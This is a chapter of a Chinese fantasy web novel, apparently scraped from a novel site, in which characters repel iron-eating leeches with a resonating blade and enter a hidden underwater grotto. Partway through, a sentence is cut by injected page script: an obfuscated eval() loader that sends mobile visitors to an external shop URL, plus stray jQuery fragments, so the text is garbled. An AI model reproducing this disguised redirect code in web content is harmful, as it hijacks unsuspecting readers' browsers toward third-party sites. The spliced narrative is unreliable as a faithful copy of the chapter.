文趣网 > 都市小说 > 山河勘误录 > 33. 让路
    江面上的雾气还没散尽,天光却已经透了进来。

    那种青绿色的水光渐渐淡去,取而代之的是一种深沉的墨蓝。程老大把船速降到了最低,铁壳子像一片叶子,无声地滑过水面。

    “前面就是‘锁蛟井’的入口了。”程老大的声音压得很低,像是怕惊扰了什么,“这地方邪门,指南针在这儿是转圈圈的,只能靠眼睛看水纹。”

    苏晓趴在舷窗上,手里的相机早就没了电,可她舍不得放下。刚才石台上的那一幕,像电影一样在她脑子里回放。阿满那一声赣剧高腔,竟然真的震碎了六十年前的茶杯,这简直比她在网上看的那些特效大片还要魔幻。

    “不对劲。”

    萧策忽然开口。

    她一直坐在船头,听雷横在膝头。从上了船开始,她就没怎么动过,像尊雕塑。可就在这一秒,她猛地站了起来。

    “怎么了?”谢无妄懒洋洋地问,手里还捏着那块碎瓷片。

    “水停了。”萧策说。

    苏晓一愣,下意识往窗外看。

    赣江的水一直在流,怎么可能停?

    可下一秒,她就看见了令她头皮发麻的一幕。

    船前方的江水,真的“停”了。

    不是结冰,也不是断流,而是那翻滚的波浪,像是被按下了暂停键,硬生生定格在了半空中。水面平得像一面镜子,连一丝涟漪都没有。

    紧接着,那面“镜子”底下,泛起了一圈圈黑色的波纹。

    不是水波,是某种东西在水底快速游动带起的暗流。

    “是‘铁蚂蟥’群。”欧阳老师脸色大变,“它们闻到船底的铁味儿了!刚才那层铁砂泥只是开胃菜,这才是正餐!”

    话音刚落,水面“哗啦”一声炸开。

    一条黑影从水里窜出来,足有手臂粗细,通体漆黑,像是一条放大了无数倍的水蛭。它张开布满细齿的口器,一口咬在船舷上。

    “滋啦——”

    令人牙酸的金属撕裂声响起。那坚厚的钢板,在它嘴里就像豆腐一样,瞬间被撕开一道口子。

    紧接着,第二条、第三条……

    密密麻麻的黑影从水里冒出来,像是一张黑色的网,把整艘船裹得严严实实。船身剧烈晃动,程老大死死把着舵,额头上全是冷汗:“不行!船太沉了,转不动!”

    “都退后。”

    萧策的声音不大,却透着一股子冷意。

    她往前跨了一步,挡在了所有人面前。

    右手握住听雷的刀柄,拇指轻轻一推。

    “锵。”

    刀身出鞘三寸。

    没有寒光,没有剑气,只有一声极低沉的嗡鸣。

    那声音像是从地底深处传上来的,带着一种奇异的频率。苏晓觉得胸口一闷,像是有人拿大锤在她心口敲了一下。

    船底下的那些“铁蚂蟥”,动作忽然齐刷刷地顿住了。

    它们似乎察觉到了什么危险,口器松开了钢板,身体在水里不安地扭动起来。

    “听雷的频率,是它们的克星。”谢无妄靠在船壁上,嘴角勾起一抹笑,“这刀是用陨铁打的,里面掺了特殊的磁石。一旦震动起来,能扰乱周围十米内的磁场。这些吃铁的玩意儿,靠的就是感知磁场觅食,现在它们在听雷面前,等于瞎了。”

    萧策没说话。

    她手腕一抖,听雷彻底出鞘。

    刀身是哑光的黑色,上面刻着细密的纹路,像是某种古老的符文。随着她的动作,刀身开始高频震动,发出一种人类听不见、却能清晰感受到的“嗡嗡”声。

    空气里仿佛多了无数根看不见的弦,每一根都在颤动。

    水底下的黑影开始疯狂逃窜。

    它们像是遇到了天敌,争先恐后地往深水处钻。可萧策没给它们机会。

    她手腕一翻,听雷在空中划出一道黑色的弧线。

    没有碰到水,甚至没有碰到任何一条“铁蚂蟥”。

    可那些黑影却像是被无形的鞭子抽中了一样,身体猛地一僵,随即瘫软下来,沉入水底。

    “这是……”苏晓瞪大了眼睛。

    “共振。”欧阳老师喃喃道,“刀身的震动频率,刚好和它们体内的铁砂泥产生共振。不用碰,就能震碎它们的内脏。这是老辈人打铁时的‘听音辨位’,没想到被她用在了刀法上。”

    萧策收刀,入鞘。

    “咔哒”一声轻响。

    水面上恢复了平静。那些黑色的影子消失得干干净净,连一点血迹都没留下。

    船身不再晃动,稳稳地浮在水面上。

    程老大长出了一口气,抹了把汗:“萧丫头,你这刀法,比你师父还狠。”

    萧策没接话。她转过身,把听雷往身后一背,目光落在苏晓身上。

    “拍照了吗?”她问。

    苏晓一愣,下意识举起相机。

    “刚才那一刀,拍下来了吗?”

    苏晓摇摇头:“刚才太黑了,而且……我没敢按快门。”

    “可惜。”萧策淡淡地说,“那一刀的频率,只有听雷知道。下次再想看见,就难了。”

    她说这话的时候,晨光正好照在她脸上。

    那张脸依旧没什么表情,冷得像块冰。可苏晓却觉得,这一刻的萧策,比她见过的任何人都要耀眼。

    不是因为长相,而是因为那股子从骨子里透出来的劲儿。

    那是常年和危险打交道的人,才有的从容。

    “前面就是入口了。”谢无妄忽然指了指前方。

    苏晓抬头看去。

    只见江面中央,出现了一个巨大的旋涡。

    旋涡不大,直径只有两三米,却深不见底。水往里灌的时候,没有发出一点声音,像是一张张开的嘴,等着吞噬一切。

    “锁蛟井。”欧阳老师声音有些发颤,“当年许真君铸铁柱镇蛟龙,就是在井底埋了八根铁链,锁住了蛟龙的七寸。这旋涡,就是铁链松动后形成的‘气眼’。”

    “怎么下去?”苏晓问。

    “不用下去。”萧策走到船舷边,从兜里掏出一个东西,扔进了旋涡。

    那是一个金属圆筒,表面刻着和听雷刀身上一样的纹路。

    圆筒落进水里,没有沉底,反而悬在了旋涡中央。

    紧接着,圆筒发出一阵红光,频率和刚才听雷的震动一模一样。

    旋涡里的水,忽然开始倒流。

    不是往上涌,而是往两边分开。

    一个直径两米的水下通道,硬生生被“挤”了出来。通道底部铺着青石板

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17641933|206705||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,两侧插着早已熄灭的火把,一直延伸到黑暗深处。

    “这是……”苏晓惊呆了。

    “听雷的‘钥匙’功能。”谢无妄跳下船,踩在青石板上,跺了跺脚,“陆霜当年把听雷一分为二,刀身给了萧策,刀芯做成了这个信标。只要信标一响,锁蛟井的机关就会打开。这地方,除了咱们,没人进得去。”

    他转头看向萧策,眼里带着几分戏谑:“陆霜藏得挺深啊,连我都不知道这茬。”

    萧策没理他,率先走进通道。

    听雷在她手里微微震颤,像是在给这条沉睡了百年的通道“指路”。

    苏晓跟在后面,脚步有些发虚。

    这水下通道太安静了,静得能听见自己的心跳声。两侧的墙壁上,刻满了浮雕。不是龙,也不是凤,而是一群戴着傩面的人,手里拿着各种工具,有的在扎竹筏,有的在打铁,有的在唱戏。

    “这是‘百工图’。”欧阳老师走在最后,声音里带着敬意,“老辈人说,镇住蛟龙的不是许真君一个人,而是这赣江边上千千万万的工匠。他们把自己的手艺刻在井壁上,就是为了告诉后人:只要手艺不断,蛟龙就永远翻不了身。”

    苏晓举起相机,对着墙壁按了一下快门。

    闪光灯亮起的瞬间,她看见浮雕上那些人的眼睛,好像活了过来。

    他们看着自己,像是在审视,又像是在期待。

    通道尽头,是一扇石门。

    门上没锁,只有一行字:

    “入此门者,需守一诺。”

    萧策停在门前,手按在听雷上。

    “什么诺?”谢无妄问。

    “守艺。”萧策说,“守住这门手艺,守住这条江。”

    她推开门。

    门后不是黑暗,而是一片光亮。

    那是一个巨大的地下溶洞,洞顶垂下无数钟乳石,像是一片倒挂的森林。溶洞中央,立着一根粗大的铁柱,铁柱上缠着八根碗口粗的铁链,铁链另一端伸进黑暗里,不知通向何处。

    铁柱底下,摆着一张石桌。

    桌上放着一个木盒。

    木盒很旧,上面落满了灰尘,却被人擦得干干净净。

    萧策走过去,打开木盒。

    里面没有金银珠宝,只有一本泛黄的笔记,和一把崭新的刻刀。

    笔记扉页上,写着一行字:

    “给后来人:菌群是病,铁链是药。药不能停,手艺不能丢。”

    署名:陆霜。

    苏晓站在门口,看着萧策的背影。

    那一刻,她忽然明白了探险的意义。

    不是为了寻宝,不是为了冒险。

    是为了接过这把刻刀,接过这本笔记,接过这群人守了一辈子的东西。

    “苏晓。”萧策忽然回头,“拍照。”

    苏晓一愣:“拍什么?”

    “拍这个。”萧策拿起那把刻刀,在手里转了一圈,“拍清楚点。以后这玩意儿,就是你的武器。”

    苏晓举起相机。

    取景器里,萧策站在铁柱前,听雷在腰间,刻刀在手里。身后的铁链在微光里泛着冷光。

    她按下快门。

    “咔嚓。”

    这一声,像是给这场探险,盖上了一个章。